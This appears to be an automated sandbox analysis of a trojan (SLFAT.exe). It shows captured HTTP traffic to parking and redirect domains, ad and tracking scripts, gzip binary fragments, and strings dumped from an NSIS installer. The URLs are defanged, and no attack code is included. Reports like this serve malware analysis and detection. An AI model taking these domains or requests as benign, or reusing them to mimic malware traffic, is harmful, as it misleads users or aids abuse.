Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: quickdomainfwd.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Fri, 02 Sep 2016 23:33:58 GMT
Server: Apache
Set-Cookie: vsid=931vr2204048382330680; expires=Wed, 01-Sep-2021 23:33:58 GMT; path=/; domain=quickdomainfwd.com; httponly
X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4 L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_jLZeEaZMKmXGJl4jV78gsCIHeYscI1MB/8WRAzK30kvLqI7QKwjiL 5QYUugLMMLFp0HqI9ticjUxqoNeKusJQ==
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=5, max=101
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Cache-Control: private
Content-Encoding: gzip
Transfer-Encoding: chunked
F74 .............Z.r.....S.w.......$q..{....6 .p.....$..u.bO.....<.Y.....I.d.2.\..V..u...h......0..!..Tt3.\]..X<.......PE.M.}.........(...d......8f1.\.V.U*aX...K..,.....NdeBr....w...kM.m....P(..cH...ci...bA6|.]_...q...\.K.S..*.n.._.W.r.R.......8..N[.%^....i.......<X..>.YsQ..W7......n..Z.....\........2....}.3.^;/.j.r.....&..'.K...R...\~n._4.../.v%......)f..z..u/W......x........4...."....F.\.v....!X:;.EK1..lL....v..x......[.O..i..yc>.-q...W....aE....hhIs.....e...}o..W.<...H...X.TR..T.CD.....6O.hE.....H2DW.X&D.`..TB..c0!vR..%...^.a...v....S6......qU.wF.A..6...I.t;.zX`..0h.....C... ..Z.\.^.2...k...e.19R...h]..Zn{P....A.a..bg0#...<5...d..{M.v.\pR.........L.......S>.'.....!m......eE..}sOJ.E...1........V...........~._...F..t..()..C..;.5...Q>.....?bY&.W".4S..;%..8GH..4..X.....Q.%.N..Q.Y}7.4..A.{..8...i.......$Jds/c()..(c.&.?........K..L..,..]).#..Y*".{7....)a5n.X%<p.'.....Zt......).........J..,.v......'.K....LI..\............hX.fy...NJ.p.U.I...<UyR...{......l..uqJf.E>E...!.z.L-.....c.J.b.*.....%cI..j..HV$....b SEU....y.)".$.e..,.....=.5.9..==..VD,..g..6zzf.$*z...D."s.~\....w../..............GRd9s]B...k..).-..'.$.....O......*...bq1..W....f3..............F.a.1...6.(.MC.....2......b....../7.....p.V...H..1C...al.8......n..k....)lB.....9....N#......".I.......Fb..NP....?..[...,....Jf.!8.3....._r......E.....mXE.P ..g.z!Y..........e#..s@4T.F.R......i`04."......`.X...-...@.....|.M....a(.@..,!.E|o.o7....a...'..A.Er....f....!.f....D.......2.."$>um...3.S...XTu0...S..S...8......... E.^$. . ..J
<<< skipped >>>
GET /px.js?ch=1 HTTP/1.1
Accept: */*
Referer: hXXp://quickdomainfwd.com/?dn=flvtube.net&pid=9PO755G95
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: quickdomainfwd.com
Connection: Keep-Alive
Cookie: vsid=931vr2204048382330680
HTTP/1.1 200 OK
Date: Fri, 02 Sep 2016 23:33:59 GMT
Server: Apache
Last-Modified: Thu, 11 Jun 2015 06:47:35 GMT
Accept-Ranges: bytes
Content-Length: 346
Cache-Control: max-age=1209600
Expires: Fri, 16 Sep 2016 23:33:59 GMT
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=5, max=124
Connection: Keep-Alive
Content-Type: application/x-javascript
GET /px.js?ch=2 HTTP/1.1
Accept: */*
Referer: hXXp://quickdomainfwd.com/?dn=flvtube.net&pid=9PO755G95
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: quickdomainfwd.com
Connection: Keep-Alive
Cookie: vsid=931vr2204048382330680
HTTP/1.1 200 OK
Date: Fri, 02 Sep 2016 23:33:59 GMT
Server: Apache
Last-Modified: Thu, 11 Jun 2015 06:47:35 GMT
Accept-Ranges: bytes
Content-Length: 346
Cache-Control: max-age=1209600
Expires: Fri, 16 Sep 2016 23:33:59 GMT
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: application/x-javascript
GET /sk-logabpstatus.php?a=cG5SaDdSNW9TTW9ySkp2dndXYmRaT0t4TUJTTWc2VFV2MlFBMGxia2Njc25kVnRMM0IvN0p2eFFucWxBb3JuMUFXY1ZUR01Fcis5a0hSYlg3bVhKeklMRHlEOHk2dGpKQkpUUEx5ZHhhS2M9&b=false HTTP/1.1
Accept: */*
Referer: hXXp://quickdomainfwd.com/?dn=flvtube.net&pid=9PO755G95
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: quickdomainfwd.com
Connection: Keep-Alive
Cookie: vsid=931vr2204048382330680
HTTP/1.1 200 OK
Date: Fri, 02 Sep 2016 23:33:59 GMT
Server: Apache
Vary: Accept-Encoding,User-Agent
Content-Length: 0
Keep-Alive: timeout=5, max=123
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
HTTP/1.1 200 OK..Date: Fri, 02 Sep 2016 23:33:59 GMT..Server: Apache..Vary: Accept-Encoding,User-Agent..Content-Length: 0..Keep-Alive: timeout=5, max=123..Connection: Keep-Alive..Content-Type: text/html; charset=UTF-8..
GET /?dn=flvtube.net&pid=9PO755G95 HTTP/1.1
Referer: hXXp://quickdomainfwd.com/?dn=flvtube.net&pid=9PO755G95
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Accept: */*
Host: quickdomainfwd.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Fri, 02 Sep 2016 23:33:59 GMT
Server: Apache
Set-Cookie: vsid=911vr2204048399131698; expires=Wed, 01-Sep-2021 23:33:59 GMT; path=/; domain=quickdomainfwd.com; httponly
Expires: Mon, 22 Jul 2002 11:12:01 GMT
Cache-Control: private, no-cache
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Length: 4972
Keep-Alive: timeout=5, max=127
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
<html><head><meta http-equiv="refresh" content="0;url=http://tzpzc.com/trf?&o=0zale1OyxwReX+DsASyd7seoir0WeLsOCJ08ecQtUnOnFmse6FvzEkIWtA4gdJbeGiDYXasOOEcYtS9q250IBLpm9r5yWjv7BGvVMkoZ5QFR8bII5bl4mTN5VabSQDJEe1hNQKtFr+YMjr50MnCqXhefl0GHj2Gg8dW9h9CL3pe2qfrEXM5Hg2JUdYYrb496Ry1CK6XJZZKkeVpaUCYhSIgBrxpOgWhciEthJJ/nGzwS9AcYK3gT0Vw6Alrtj3X0+4G849hG1ocvXxhE3mYB8NudhDblJxQ2fszsTM+Ji/2IMuyYZbPAM3QlKZZNqFZhDrhVwSCt+oB+xWll95XJZp1t0YuAIPyc0E0T/O0EgpzUJYGLQSybOJW5K1jrlNso&c=21112204048400131698297&n=WS8heeJNQz3Q7ooJ6iuoCRVx94+GjX8HVWVUDsw7OISdMtrS4hdPWlHvtCziaQbyA7qnU/J18C6iSPxOXNF6kxTvd8ACl19FW1CJdhlQFZZxRSozAwYtUaGLWOrHJFU4FHAJcZd0xlUraGmBliJrn6acKkPhQCAZgFlJQHWPQwPB1urSlz2z42prJtwmFpsagRXVCPZNFyZpcCrDGh1AnMJrlLx4gVT7Cwo8iLHJ36i0oN3YsM+rwvPrSoQducgjCH9TAz6yo7dfwTHqnhBtIX/di84r0L6L/9M78gkLYGPlLKbTG34f6OGErum8MdPEa8qNcpnFh/IqDkwDhEWGT6xecnd2H+FToislZ5EKB/6pFnmbfQ+LmjRn+wb8kHBOaw2w7NMBUw2V32gc/Me7F2lwOiRyjLuGENQhWnnTZFR6AuqNpMmViIM2J9TxfU/2&kgp=0" /><META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE,NO_STORE"><META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE"/>....<META HTTP-EQUIV="EXPIRES" CONTENT="Mon, 22 Jul 2002 11:12:01 GMT"/></head><body onbeforeunload="" onunload=""><script language='javascript' type='text/javascript'>try.....{..... function getCookie(cname) {. var name = cname '=';. var ca = document.cookie.split(';');. for(var i=0; i<ca.length; i ) {.
<<< skipped >>>
GET /__media__/pics/8624/numArrow.gif HTTP/1.1
Accept: */*
Referer: hXXp://quickdomainfwd.com/?dn=flvtube.net&pid=9PO755G95
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: i1.cdn-image.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx
Content-Type: image/gif
Content-Length: 1526
Last-Modified: Thu, 15 Jan 2015 11:18:48 GMT
ETag: "54b7a218-5f6"
Accept-Ranges: bytes
Cache-Control: public, max-age=33010
Expires: Sat, 03 Sep 2016 08:44:09 GMT
Date: Fri, 02 Sep 2016 23:33:59 GMT
Connection: keep-alive
GIF89a..B.....u.....w.....v........~........y.................{.....y..y..}...................................z.....}..|..x..z...............................................................................!..XMP DataXMP<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:F7C11CEE9C9D11E4B417B9B10F9F154F" xmpMM:DocumentID="xmp.did:F7C11CEF9C9D11E4B417B9B10F9F154F"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F7C11CEC9C9D11E4B417B9B10F9F154F" stRef:documentID="xmp.did:F7C11CED9C9D11E4B417B9B10F9F154F"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..................................................................................................................................~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-, *)('&%$#"! .................................!.......,......B.....H`H,..EI..l.F.....p..*...j.... ..._.by&...h;..$...g^.".}...g...lY..rS.U.].U........^...N......c.U&H.U..G.U..T.. .n.....!....C...y.$..Z%......................w............................2t.` u....dH^.
<<< skipped >>>
GET /__media__/pics/8624/searchIcon.gif HTTP/1.1
Accept: */*
Referer: hXXp://quickdomainfwd.com/?dn=flvtube.net&pid=9PO755G95
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: i1.cdn-image.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx
Content-Type: image/gif
Content-Length: 1401
Last-Modified: Thu, 15 Jan 2015 11:18:52 GMT
ETag: "54b7a21c-579"
Accept-Ranges: bytes
Cache-Control: public, max-age=58462
Expires: Sat, 03 Sep 2016 15:48:21 GMT
Date: Fri, 02 Sep 2016 23:33:59 GMT
Connection: keep-alive
GIF89a.......................................................................................................................................................................................................!..XMP DataXMP<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:1B2496659CA111E4B60CAF73BB5A002F" xmpMM:DocumentID="xmp.did:1B2496669CA111E4B60CAF73BB5A002F"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1B2496639CA111E4B60CAF73BB5A002F" stRef:documentID="xmp.did:1B2496649CA111E4B60CAF73BB5A002F"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..................................................................................................................................~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-, *)('&%$#"! .................................!.......,..........|@.....@..r).8.......J".KzpR..ga.....I`.....Q.......g.. .M.K...cJ'N.R......N.h.O....R...N..&NIh....B.N.h.!N..R.v...K..N.K...A.;..
<<< skipped >>>
GET /click/?s=151123&c=255416 HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: lwken.com
Connection: Keep-Alive
HTTP/1.1 301 Moved Permanently
Date: Fri, 02 Sep 2016 14:08:13 GMT
Server: Apache/2.2.15 (CentOS)
Location: hXXp://park.lwken.com?s=151123&c=255416
Content-Length: 326
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>301 Moved Permanently</title>.</head><body>.<h1>Moved Permanently</h1>.<p>The document has moved <a href="hXXp://park.lwken.com?s=151123&c=255416">here</a>.</p>.<hr>.<address>Apache/2.2.15 (CentOS) Server at lwken.com Port 80</address>.</body></html>...
GET /12224 HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: VVV.flvtube.net
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 02 Sep 2016 23:12:38 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Check: 3c12dc4d54f8e22d666785b733b0052100c53444
X-Language: english
X-Template: tpl_CleanPeppermintBlack_twoclick
Content-Encoding: gzip
36f.............T.r.H.][_.0U......1...."... ...&.j..F..H....y...d....q...=}..h..i=/9.....]|Y?p..........o.&..I....Jr..i."..:.......(.R(.B...........~.h.)8...z...)..\..1..(...^.=.....S.F...^i.'...&...9h.UBL(b?C....._U.!M(I..<.....RyJN.T.f..P......LyP..q..)G.H....zE...E(9...BO..O.......s.....r......gu.H...am.....Z........0...<..m{1.u._.l._cxqBh..Ps|;X.,y ..Z.b(Bs.[.........4...m....z.y0..a....A...D7..2...l.zp(.{Um......3..EQN...#1q.k ......k..e..z......|.c....n..g3j:.....wpI..GN...n..$..J]..6CzF...S.h.....V..~.(.&.3RV..(gz.[P..|(.y.cj.]....]........v.R...y...g..[;=s.K6..H.d]f..mSB3...'....1.<..U....\AY7.d.v.2..%x..6..X4vK....LF.~9.pg]...=P.....F..U....kO....}.j....Z.......}i.Qd....../...V.....6. .........;`.O.sw..jj...'-.4.RTI.-.\...[.............S.c;......sju.[h..}......i/.=..G.t<....(.........."#...zW4=.Q...c!x.q.....V............$jg.\.}GU..O..J....OvdW.s.4.5.m.._UaT0......0..HTTP/1.1 200 OK..Server: nginx..Date: Fri, 02 Sep 2016 23:12:38 GMT..Content-Type: text/html; charset=UTF-8..Transfer-Encoding: chunked..Connection: keep-alive..Vary: Accept-Encoding..X-Check: 3c12dc4d54f8e22d666785b733b0052100c53444..X-Language: english..X-Template: tpl_CleanPeppermintBlack_twoclick..Content-Encoding: gzip..36f.............T.r.H.][_.0U......1...."... ...&.j..F..H....y...d....q...=}..h..i=/9.....]|Y?p..........o.&..I....Jr..i."..:.......(.R(.B...........~.h.)8...z...)..\..1..(...^.=.....S.F...^i.'...&...9h.UBL(b?C....._U.!M(I..<.....RyJN.T.f..P......LyP..q..)G.H....zE...E(9...BO..O.......s.....r......gu.H...
<<< skipped >>>
GET /track.php?domain=flvtube.net&toggle=browserjs&uid=MTQ3Mjg1OTIzNy40ODUzOjIwNzc2ZjRmMzdkMTI5MDdiZjI4Y2U0MGI1YmM0MTBmYTNkZjAxODBlMTYyZDQyODk2NjhhMjA0MmU5ZTg1Y2Q6NTdjYTBjNjU3NjgwOA== HTTP/1.1
Accept: */*
Accept-Language: en-us
Referer: hXXp://VVV.flvtube.net/12224
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: VVV.flvtube.net
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 02 Sep 2016 23:12:39 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Access-Control-Allow-Origin: *
Content-Encoding: gzip
14........................0..HTTP/1.1 200 OK..Server: nginx..Date: Fri, 02 Sep 2016 23:12:39 GMT..Content-Type: text/html; charset=UTF-8..Transfer-Encoding: chunked..Connection: keep-alive..Vary: Accept-Encoding..Access-Control-Allow-Origin: *..Content-Encoding: gzip..14........................0..
GET /__media__/js/min.js?v1.9 HTTP/1.1
Accept: */*
Referer: hXXp://quickdomainfwd.com/?dn=flvtube.net&pid=9PO755G95
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: i2.cdn-image.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx
Content-Type: application/x-javascript
Last-Modified: Tue, 31 May 2016 14:06:17 GMT
ETag: "574d9a59-21bd"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Cache-Control: public, max-age=39963
Expires: Sat, 03 Sep 2016 10:40:02 GMT
Date: Fri, 02 Sep 2016 23:33:59 GMT
Content-Length: 3040
Connection: keep-alive
...........Y{s.6...3..4;.!#...9_ ..(.sI.N<....d4....(..A....~....D9..w.......o..{=#."..z.g.[..d..D..oz....xf.......0.c.x..<?....3...K.0&...".bzk........$....e....~GB..v..4.1.F..._...............x...7#...e..........A.E..P....sj.W.Z0...fc]....P.....wK(.. /9 N....S..x...0m'.B..KB.;g|.}$......(.......M....je.PA....P0..m.c.O.a.y....A.......B-5.P~s..T.,.9..C .H...O..4>.|.Y....EI......gn.8..?%.v..G....g..8..>..|9.<..X.f.H.w!`L.R...z{)oC.c.4$....<..CJ...;..]..v...`)x...@@.McrdU.~....s,b....>;}.A.....Lt:j.....;r.~.; ...-........G=W..E.......9.|.X.M....M.w..,b.9K.>hYs..Oo....S&%s.....c......AS..do......)...^z.x.o... .x..p.?X..x..0...i...W..$.%}..\..y.....#i;....>.}.Y..k.............sJ.O._..6...LRA.3..~....w...|E.E.....>.y..[o .,{4 ..`.....?..........i;....E..i9...../RX.zf...ju....S.t.....( R..FU.(x.[.v..!v.._c..A.f........%..h....b....Y..W0.3.#{.....1.v......l..@./xS..%G=.."...'.b..3..Z.).V.%.&.R".G....d....:.zv9...^........].....A.......}>...D.lx.d........v...Al.{3...8.5fX]............'...rdh.L.....s...V}l.....Y..Y...NNc..g%..#...@..* .ot^~.p......2' S.O.|OR.#..?U...< ...n..\.>.........*..Be}syv.,Y...tM<Nb......1Y..R...^.....(..u...}...H==..m..{jJ...w:.G..E...........mo....%(..#<.6.f|.....&V KS2..8..;sQ....=...|*.Aa:gY...#-...~.W@..{.\nvf!...]T..... .X.V..[.F..P.5.>>....A.0:.....O...z.G.TI{z.2oXn.1....cF....C0.y@..(....Q....H.b4.].......Kq..... )........#....#...1..h#....]......@E.!v...o.....R_D^.tt.&...K.IM..BS..0.N....2hO.`.1qS(..Cr'%%1.\w.JvI..v...$9%s1...a.3c.Cc.v.7
<<< skipped >>>
GET /assets/scripts/js3.js HTTP/1.1
Accept: */*
Referer: hXXp://VVV.flvtube.net/12224
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: parkingcrew.net
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 02 Sep 2016 23:12:38 GMT
Content-Type: application/javascript
Content-Length: 17915
Connection: keep-alive
Last-Modified: Tue, 23 Feb 2016 09:02:42 GMT
ETag: "56cc2032-45fb"
Accept-Ranges: bytes
var web2dspl = num_ads;..function getU(name) { ..var pattern = "[\?&]" name "=([^]*)"; ..var regex=new RegExp(pattern); ..var res=regex.exec(document.location.href); ..if(res==null){return ""}else{return decodeURIComponent(res[1])}.}..function checkWebsrc() {..if (reqt == 's' && got_ads) {...prepWebres();....if( document.getElementById('webrsc') ) {....window.setTimeout(function() {.....document.getElementById('webrsc').setAttribute('src', scriptPath '/scripts/webres.php?max=' encodeURIComponent(web2dspl) '&c=' encodeURIComponent(country) '&xbase=' encodeURIComponent(xbase) '&search=' encodeURIComponent(afs_q) "&d=" encodeURIComponent(domain) "&auto_load=" encodeURIComponent(xt_auto_load));....}, 200);...}..} else {...window.setTimeout(function() {....if(document.getElementById('webresults')) document.getElementById('webresults').innerHTML = '';...}, 100);..}.}..function prepWebres() {..if(asset_path == undefined) asset_path = '';..if(document.getElementById('webresults')) document.getElementById('webresults').innerHTML = '<span id="ajaxloaderHolder"><img src="' asset_path '/images/ajax-loader.gif" class="ajax-loader" /></span>';.}..var fallback_done = false;.function afdFallback() {..if (reqt == 's' && !got_ads && navigator.appVersion.search("WebKit") <= 0) {.//..google_afd_request = { 'adtest': adtest, client: clientIDd, domain_name: domain, num_radlinks: 0, hl: xlang, ad: 'w' num_ads, 'num_ads': num_ads, token: search_token, kw: keyword, q: afs_q, user_search: is_UserSearch };...tr
<<< skipped >>>
GET /?s=151123&c=255416 HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: park.lwken.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 02 Sep 2016 23:36:39 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Check: 3c12dc4d54f8e22d666785b733b0052100c53444
Content-Encoding: gzip
3e9.............T[s.H.~...q.b....F6..Dr..mt..x.j.F...M@...o...T..<X..|.?.......)._.........1.B.J...T..h....z.d./..ž4MP$I.. t}.v.JRY.b..i...R..Zr.>....Rt........8J../......<.l.......Q.....Ir..6..i<...&...._a. ......4M.I....HW..k.e.bR..F.>.r.&...F]..%...1.q.........=!B..@[..q..6.w..@...1..0.z-E......".?..[.C.lM....B...<.f=.j..X...*.\..\U 0e..c....[..Em.M.........\..8.-..Z..o==......'.C..c^.x....6..@`k....w.....(.?.q^, ..4.IL\.{......<.r.2..zv...;..{bn....8.................6....r...B.......".I.KB:8O..gx.;Jw..f 8#...&...!?.r).U1.{.'._..[Z..w...9..r.....]..y_.V.5...d....W#.x... ..{.....JS..(\].....'.J.Q.W.]........P.....<.J'.*...sY5_.......,.(...);..Y....2t.Y.....<......Nz3...z.I....~.Y..&nZ.i.....W$..R...?.3.]|...y;...B...G..qa.5...]~.^t......W.u.]..:.G.>.<..2.......<.^.t.X.......B.3.qV.........n.........../.]............TW.V.....P...........pB..>y..s:..M^.....<..6W.).:.E.T.k.;M.2.hcS. ...,.q....v...x.....94...e.\6<....r_\.Hy ^b..........F[u:z.3.....$.~o..S...t.fy........%..q,.....W......C......0..HTTP/1.1 200 OK..Server: nginx..Date: Fri, 02 Sep 2016 23:36:39 GMT..Content-Type: text/html; charset=UTF-8..Transfer-Encoding: chunked..Connection: keep-alive..Vary: Accept-Encoding..X-Check: 3c12dc4d54f8e22d666785b733b0052100c53444..Content-Encoding: gzip..3e9.............T[s.H.~...q.b....F6..Dr..mt..x.j.F...M@...o...T..<X..|.?.......)._.........1.B.J...T..h....z.d./..ž4MP$I.. t}.v.JRY.b..i...R..Zr.>....Rt........8J../......<.l.......Q.....Ir..6..i<...&...._a.
<<< skipped >>>
GET /track.php?domain=lwken.com&toggle=browserjs&uid=MTQ3Mjg1OTIzOC41ODQzOmMwNTRkMTUxNjI1YTRmNTNiYTVmNmQzMWI4NjdkMTQzMDk0NTUyZTJhMTFkMmFhMGE5MzFiODZmOTYwYmUxNDE6NTdjYTBjNjY4ZWFhNA== HTTP/1.1
Accept: */*
Accept-Language: en-us
Referer: hXXp://park.lwken.com/?s=151123&c=255416
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: park.lwken.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 02 Sep 2016 23:36:40 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Access-Control-Allow-Origin: *
Content-Encoding: gzip
14........................0......
GET /track.php?click=5b53ccd02792a79936184954fc4d1abe5dbbc818&domain=lwken.com&uid=MTQ3Mjg1OTIzOC41ODQzOmMwNTRkMTUxNjI1YTRmNTNiYTVmNmQzMWI4NjdkMTQzMDk0NTUyZTJhMTFkMmFhMGE5MzFiODZmOTYwYmUxNDE6NTdjYTBjNjY4ZWFhNA==&ts=fHx8ZDQxZDh8fHxidWNrZXQwMzl8fHx8NTdjYTBjNjY4ZTQxOXx8fDE0NzI4NTkyMzkuMDQ3M3xkN2MwNzZlNTFkZjMwZTFkMDQzYzkzZmY2NjVjNzNhOTVmZGUwZjg2fHx8fHwxfHx8MHw1N2NhMGM2N2Y1NTI1ZmZlMjI4YjRkZDJ8fHx8fHx8fDB8MHx8fHx8fHx8fA==&kw=&search=&pcat=&rxid=&bucket=&clientID=&adtest=off HTTP/1.1
Accept: */*
Accept-Language: en-us
Referer: hXXp://park.lwken.com/?s=151123&c=255416
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: park.lwken.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 02 Sep 2016 23:36:40 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Access-Control-Allow-Origin: *
Content-Encoding: gzip
14........................0..HTTP/1.1 200 OK..Server: nginx..Date: Fri, 02 Sep 2016 23:36:40 GMT..Content-Type: text/html; charset=UTF-8..Transfer-Encoding: chunked..Connection: keep-alive..Vary: Accept-Encoding..Access-Control-Allow-Origin: *..Content-Encoding: gzip..14........................0..
Map
The Trojan connects to the servers at the folowing location(s):
Strings from Dumps
SLFAT.exe_1824:
.text
.text
`.rdata
`.rdata
@.data
@.data
.ndata
.ndata
.rsrc
.rsrc
uDSSh
uDSSh
.DEFAULT\Control Panel\International
.DEFAULT\Control Panel\International
Software\Microsoft\Windows\CurrentVersion
Software\Microsoft\Windows\CurrentVersion
GetWindowsDirectoryA
GetWindowsDirectoryA
KERNEL32.dll
KERNEL32.dll
ExitWindowsEx
ExitWindowsEx
USER32.dll
USER32.dll
GDI32.dll
GDI32.dll
SHFileOperationA
SHFileOperationA
ShellExecuteA
ShellExecuteA
SHELL32.dll
SHELL32.dll
RegEnumKeyA
RegEnumKeyA
RegCreateKeyExA
RegCreateKeyExA
RegCloseKey
RegCloseKey
RegDeleteKeyA
RegDeleteKeyA
RegOpenKeyExA
RegOpenKeyExA
ADVAPI32.dll
ADVAPI32.dll
COMCTL32.dll
COMCTL32.dll
ole32.dll
ole32.dll
VERSION.dll
VERSION.dll
verifying installer: %d%%
verifying installer: %d%%
unpacking data: %d%%
unpacking data: %d%%
... %d%%
... %d%%
hXXp://nsis.sf.net/NSIS_Error
hXXp://nsis.sf.net/NSIS_Error
~nsu.tmp
